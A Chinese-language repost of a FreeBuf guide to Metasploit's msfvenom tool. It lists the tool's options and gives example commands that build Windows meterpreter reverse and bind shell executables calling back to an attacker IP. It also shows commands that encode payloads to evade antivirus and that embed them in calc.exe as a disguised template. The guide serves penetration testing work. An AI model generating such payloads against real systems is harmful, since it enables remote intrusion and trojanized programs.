zoukankan      html  css  js  c++  java
  • 【转】msfvenom使用指南

    msfvenom命令行选项如下:

    Options:
        -p, --payload    <payload>       指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用&#039;-&#039;或者stdin指定
        -l, --list       [module_type]   列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
        -n, --nopsled    <length>        为payload预先指定一个NOP滑动长度
        -f, --format     <format>        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
        -e, --encoder    [encoder]       指定需要使用的encoder(编码器)
        -a, --arch       <architecture>  指定payload的目标架构
            --platform   <platform>      指定payload的目标平台
        -s, --space      <length>        设定有效攻击荷载的最大长度
        -b, --bad-chars  <list>          设定规避字符集,比如: &#039;x00xff&#039;
        -i, --iterations <count>         指定payload的编码次数
        -c, --add-code   <path>          指定一个附加的win32 shellcode文件
        -x, --template   <path>          指定一个自定义的可执行文件作为模板
        -k, --keep                       保护模板程序的动作,注入的payload作为一个新的进程运行
            --payload-options            列举payload的标准选项
        -o, --out   <path>               保存payload
        -v, --var-name <name>            指定一个自定义的变量,以确定输出格式
            --shellest                   最小化生成payload
        -h, --help                       查看帮助选项
            --help-formats               查看msf支持的输出格式列表
    

    生成payload

    生成payload,有有两个必须的选项:-p -f

    使用-p 来指定要使用的payload。

    可以使用下面的命令来查看所有msf可用的payload列表

    ./msfvenom -l payloads
    

    -p选项也支持使用使用自定义的payload,需要使用 "-",比如:

    cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw
    

    使用-f 来指定payload的输出格式
    举例:

    ./msfvenom -p windows/meterpreter/bind_tcp -f exe
    

    使用下面的命令,可以查看msf支持的输出格式

    ./msfvenom --help-formats
    

    一个典型的msfvenom使用举例如下:

    $ ./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker&#039;s IP] lport=4444 -f exe -o /tmp/my_payload.exe
    

    对payload进行编码

    如果你使用了-b选项(设定了规避字符集),会自动调用编码器。
    其他情况下,你需要使用-e选项来使用编码模块,例如:

    ./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw
    

    可以使用下面的命令,来查看可用的编码器

    ./msfvenom -l encoders
    

    你也可以使用-i选项进行多次编码。某些情况下,迭代编码可以起到规避杀毒软件的作用,但你需要知道,编码并没有使用一个真正意义上的AV规避方案。
    可以使用下面的命令来进行迭代编码:

    ./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3
    

    规避字符

    使用-b选项意味着在生成payload的时候对某些字符进行规避。当你使用这个选项的时候,msfvenom会自动的使用合适的编码器对payload进行编码,比如:

    ./msfvenom -p windows/meterpreter/bind_tcp -b &#039;x00&#039; -f raw
    

    使用自定义可执行文件模板

    默认的,msfvenom使用的模板文件保存在msf/data/templates目录中,如果你想使用你自己的模板文件,你可以使用-x选项来指定,比如:

    ./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe
    

    这个命令将使用windows下计算器程序(calc.exe)作为可执行文件的模板生成payload。

    注意:如果你想要创建一个windows的x64的可执行文件模板来生成一个x64的payload,你只能使用exe格式的模板。

    使用-x选项经常和-k选项配合使用,-k选项会将你的payload作为一个新的进程运行。但目前这个选项只支持老版本的windows系统比如windows xp

    作者:戒贤,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)
    *src: *http://www.freebuf.com/sectool/72135.html

  • 相关阅读:
    杭电1827
    hdu 3118
    poj 2060
    hdu 2236
    poj 2226
    poj 1719
    poj 1466
    poj 3160
    骑士飞行棋笔记
    基础测试学习笔记
  • 原文地址:https://www.cnblogs.com/litlife/p/7710985.html
Copyright © 2011-2022 走看看